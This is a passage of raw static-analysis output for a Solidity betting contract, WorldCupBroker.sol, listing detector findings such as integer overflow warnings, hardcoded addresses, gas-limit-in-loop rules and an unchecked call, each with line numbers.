2255, 2256, 2257, 2258, 2259, 2260, 2261, 2262, 2263, 2264, 2265, 2266, 2267, 2268, 2269, 2270, 2271, 2272, 2273, 2274, 2275, 2276, 2277, 2278, 2279, 2280, 2281, 2282, 2283, 2284, 2285, 2286, 2287, 2288, 2289, 2290, 2291, 2292, 2293, 2294, 2295, 2296, 2297, 2298, 2299, 2300, 2301, 2302, 2303, 2304, 2305, 2306, 2307, 2308, 2309, 2310, 2311, 2312, 2313, 2314, 2315, 2316, 2317, 2318, 2319, 2320, 2321, 2322, 2323, 2324, 2325, 2326, 2327, 2328, 2329, 2330, 2331, 2332, 2333, 2334, 2335, 2336, 2337, 2338, 2339, 2340, 2341, 2342, 2343, 2344, 2345, 2346, 2347, 2348, 2349, 2350, 2351, 2352, 2353, 2354, 2355, 2356, 2357, 2358, 2359, 2360, 2361, 2362, 2363, 2364, 2365, 2366, 2367, 2368, 2369, 2370, 2371, 2372, 2373, 2374, 1833, 1834, 1835, 1836, 1837, 1838, 1839, 1840, 1841, 1842, 1843, 1844, 1845, 1846, 1847, 1848, 1849, 1850, 1851, 1852, 1853, 1854, 1855, 1856, 1857, 1858, 1859, 1860, 1861, 1862, 1863, 1864, 1865, 1866, 1867, 1868, 1869, 1870, 1871, 1872, 1873, 1874, 1875, 1876, 1877, 1878, 1879, 1880, 1881, 1882, 1883, 1884, 1885, 1886, 1887, 1888, 1889, 1890, 1891, 1892, 1893, 1894, 1895, 1896, 1897, 1898, 1899, 1900, 1901, 1902, 1903, 1904, 1905, 1906, 1907, 1908, 1909, 1910, 1911, 1912, 1913, 1914, 1915, 1916, 1917, 1918, 1919, 1920, 1921, 1922, 1923, 1924, 1925, 1926, 1927, 1928, 1929, 1930, 1931, 1932, 1933, 1934, 1935, 1936, 1937, 1938, 1939, 1940, 1941, 1942, 1943, 1944, 1945, 1946, 1947, 1948, 1949, 1950, 1951, 1952, 1953, 1954, 1955, 1956, 1957, 1958, 1959, 1960, 1961, 1962, 1963, 1964, 1965, 1966, 1967, 1968, 1969, 1970, 1971, 1972, 1973, 1974, 1975, 1976, 1977, 1978, 1979, 1980, 1981, 1982, 1983, 1984, 1985, 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022, 2023, 2024, 2025, 2026, 2027, 2028, 2029, 2030, 2031, 2032, 2033, 2034, 2035, 2036, 2037, 2038, 2039, 2040, 2041, 2042, 2043, 2044, 2045, 2046, 2047]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2048, 2049, 2050, 2051, 2052, 2053, 2054, 2055, 2056, 2057, 2058, 2059, 2060, 2061, 2062, 2063, 2064, 2065, 2066, 2067, 2068, 2069, 2070, 2071, 2072, 2073, 2074, 2075, 2076, 2077, 2078, 2079, 2080, 2081, 2082, 2083, 2084, 2085, 2086, 2087, 2088, 2089, 2090, 2091, 2092, 2093, 2094, 2095, 2096, 2097, 2098, 2099, 2100, 2101, 2102, 2103, 2104, 2105, 2106, 2107, 2108, 2109, 2110, 2111, 2112, 2113, 2114, 2115, 2116, 2117, 2118, 2119, 2120, 2121, 2122, 2123, 2124, 2125, 2126, 2127, 2128, 2129, 2130, 2131, 2132, 2133, 2134, 2135, 2136, 2137, 2138, 2139, 2140, 2141, 2142, 2143, 2144, 2145, 2146, 2147, 2148, 2149, 2150, 2151, 2152, 2153, 2154, 2155, 2156, 2157, 2158, 2159, 2160, 2161, 2162, 2163, 2164, 2165, 2166, 2167, 2168, 2169, 2170, 2171, 2172, 2173, 2174, 2175, 2176, 2177, 2178, 2179, 2180, 2181, 2182, 2183, 2184, 2185, 2186, 2187, 2188, 2189, 2190, 2191, 2192, 2193, 2194, 2195, 2196, 2197, 2198, 2199, 2200, 2201, 2202, 2203, 2204, 2205, 2206, 2207, 2208, 2209, 2210, 2211, 2212, 2213, 2214, 2215, 2216, 2217, 2218, 2219, 2220, 2221, 2222, 2223, 2224, 2225, 2226, 2227, 2228, 2229, 2230, 2231, 2232, 2233, 2234, 2235, 2236, 2237, 2238, 2239, 2240, 2241, 2242, 2243, 2244, 2245, 2246, 2247, 2248, 2249, 2250, 2251, 2252, 2253, 2254, 2255, 2256, 2257, 2258, 2259, 2260, 2261, 2262, 2263, 2264, 2265, 2266, 2267, 2268, 2269, 2270, 2271, 2272, 2273, 2274, 2275, 2276, 2277, 2278, 2279, 2280, 2281, 2282, 2283, 2284, 2285, 2286, 2287, 2288, 2289, 2290, 2291, 2292, 2293, 2294, 2295, 2296, 2297, 2298, 2299, 2300, 2301, 2302, 2303, 2304, 2305, 2306, 2307, 2308, 2309, 2310, 2311, 2312, 2313, 2314, 2315, 2316, 2317, 2318, 2319, 2320, 2321, 2322, 2323, 2324, 2325, 2326, 2327, 2328, 2329, 2330, 2331, 2332, 2333, 2334, 2335, 2336, 2337, 2338, 2339, 2340, 2341, 2342, 2343, 2344, 2345, 2346, 2347, 2348, 2349, 2350, 2351, 2352, 2353, 2354, 2355, 2356, 2357, 2358, 2359, 2360, 2361, 2362, 2363, 2364, 2365, 2366, 2367, 2368, 2369, 2370, 2371, 2372, 2373, 2374, 1833, 1834, 1835, 1836, 1837, 1838, 1839, 1840, 1841, 1842, 1843, 1844, 1845, 1846, 1847, 1848, 1849, 1850, 1851, 1852, 1853, 1854, 1855, 1856, 1857, 1858, 1859, 1860, 1861, 1862, 1863, 1864, 1865, 1866, 1867, 1868, 1869, 1870, 1871, 1872, 1873, 1874, 1875, 1876, 1877, 1878, 1879, 1880, 1881, 1882, 1883, 1884, 1885, 1886, 1887, 1888, 1889, 1890, 1891, 1892, 1893, 1894, 1895, 1896, 1897, 1898, 1899, 1900, 1901, 1902, 1903, 1904, 1905, 1906, 1907, 1908, 1909, 1910, 1911, 1912, 1913, 1914, 1915, 1916, 1917, 1918, 1919, 1920, 1921, 1922, 1923, 1924, 1925, 1926, 1927, 1928, 1929, 1930, 1931, 1932, 1933, 1934, 1935, 1936, 1937, 1938, 1939, 1940, 1941, 1942, 1943, 1944, 1945, 1946, 1947, 1948, 1949, 1950, 1951, 1952, 1953, 1954, 1955, 1956, 1957, 1958, 1959, 1960, 1961, 1962, 1963, 1964, 1965, 1966, 1967, 1968, 1969, 1970, 1971, 1972, 1973, 1974, 1975, 1976, 1977, 1978, 1979, 1980, 1981, 1982, 1983, 1984, 1985, 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022, 2023, 2024, 2025, 2026, 2027, 2028, 2029, 2030, 2031, 2032, 2033, 2034, 2035, 2036, 2037, 2038, 2039, 2040, 2041, 2042, 2043, 2044, 2045, 2046, 2047]}}]
[{"error": "Integer Underflow.", "line": 1889, "level": "Warning"}, {"error": "Integer Underflow.", "line": 1833, "level": "Warning"}, {"error": "Integer Overflow.", "line": 2109, "level": "Warning"}, {"error": "Integer Overflow.", "line": 2108, "level": "Warning"}, {"error": "Integer Overflow.", "line": 2136, "level": "Warning"}, {"error": "Integer Overflow.", "line": 2115, "level": "Warning"}, {"error": "Integer Overflow.", "line": 1974, "level": "Warning"}, {"error": "Integer Overflow.", "line": 2118, "level": "Warning"}, {"error": "Integer Overflow.", "line": 2111, "level": "Warning"}, {"error": "Integer Overflow.", "line": 894, "level": "Warning"}, {"error": "Integer Overflow.", "line": 2107, "level": "Warning"}, {"error": "Integer Overflow.", "line": 2147, "level": "Warning"}, {"error": "Integer Overflow.", "line": 2116, "level": "Warning"}, {"error": "Integer Overflow.", "line": 2113, "level": "Warning"}, {"error": "Integer Overflow.", "line": 2047, "level": "Warning"}, {"error": "Integer Overflow.", "line": 2278, "level": "Warning"}, {"error": "Transaction-Ordering Dependency.", "line": 2251, "level": "Warning"}, {"error": "Transaction-Ordering Dependency.", "line": 2241, "level": "Warning"}, {"error": "Timestamp Dependency.", "line": 2250, "level": "Warning"}, {"error": "Integer Overflow.", "line": 891, "level": "Warning"}]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 856, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 857, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 861, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 862, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 866, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 867, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 871, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 872, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 876, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 877, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 880, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 881, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 884, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 885, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 132, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 134, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 136, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 138, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 140, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 142, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 144, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 146, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 148, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 210, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 212, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 214, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 216, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 218, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 303, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 305, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 307, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 354, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 357, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 358, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 360, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 361, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 364, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 375, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 376, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 376, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 380, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 822, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 823, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 824, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 825, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 826, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 827, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1446, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1455, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1461, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1471, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1488, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1497, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1503, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1513, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1589, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1593, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1633, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 440, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 440, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 537, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 541, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 577, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 581, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 813, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 1294, "severity": 1}, {"rule": "SOLIDITY_DIV_MUL", "line": 2154, "severity": 2}, {"rule": "SOLIDITY_DIV_MUL", "line": 2215, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 746, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 753, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1348, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1374, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1375, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1376, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1377, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1378, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1404, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1457, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1499, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1353, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1450, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1463, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1492, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1505, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 333, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 391, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 653, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 689, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 699, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 1294, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 746, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 753, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1325, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1348, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1374, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1375, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1376, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1377, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1378, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1404, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1441, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1454, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1457, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1483, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1496, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1499, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 527, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 567, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 579, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 701, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1353, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1450, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1463, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1492, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1505, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1729, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 801, "severity": 3}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 2267, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 83, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 799, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1828, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1927, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 2280, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 91, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 115, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 161, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 186, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 203, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 244, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 291, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 342, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 391, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 403, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 429, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 458, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 486, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 512, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 553, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 724, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 741, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 1719, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1743, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1771, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 892, "severity": 3}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1570, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1700, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 2372, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 115, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 186, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 724, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 741, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 741, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 805, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 805, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 805, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 807, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 807, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 809, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 810, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 891, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 894, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 894, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 899, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 903, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 907, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 907, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 912, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 912, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 917, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 917, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 922, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 922, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 927, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 927, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 927, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 932, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 932, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 932, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 937, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 937, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 937, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 942, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 942, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 942, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 947, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 947, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 953, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 953, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 959, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 959, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 965, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 965, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 971, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 976, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 981, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 986, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 992, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 998, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1004, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1010, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1016, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1023, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1030, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1037, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1045, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1053, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1061, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1069, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1077, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1086, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1095, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1104, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1113, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1113, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1119, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1119, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1125, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1125, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1131, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1131, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1137, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1142, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1147, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1152, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1158, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1164, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1170, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1176, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1182, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1189, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1196, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1203, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1211, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1219, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1227, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1235, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1243, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1252, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1261, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1270, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1300, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1320, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1320, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1338, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1338, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1365, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1365, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1365, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1365, 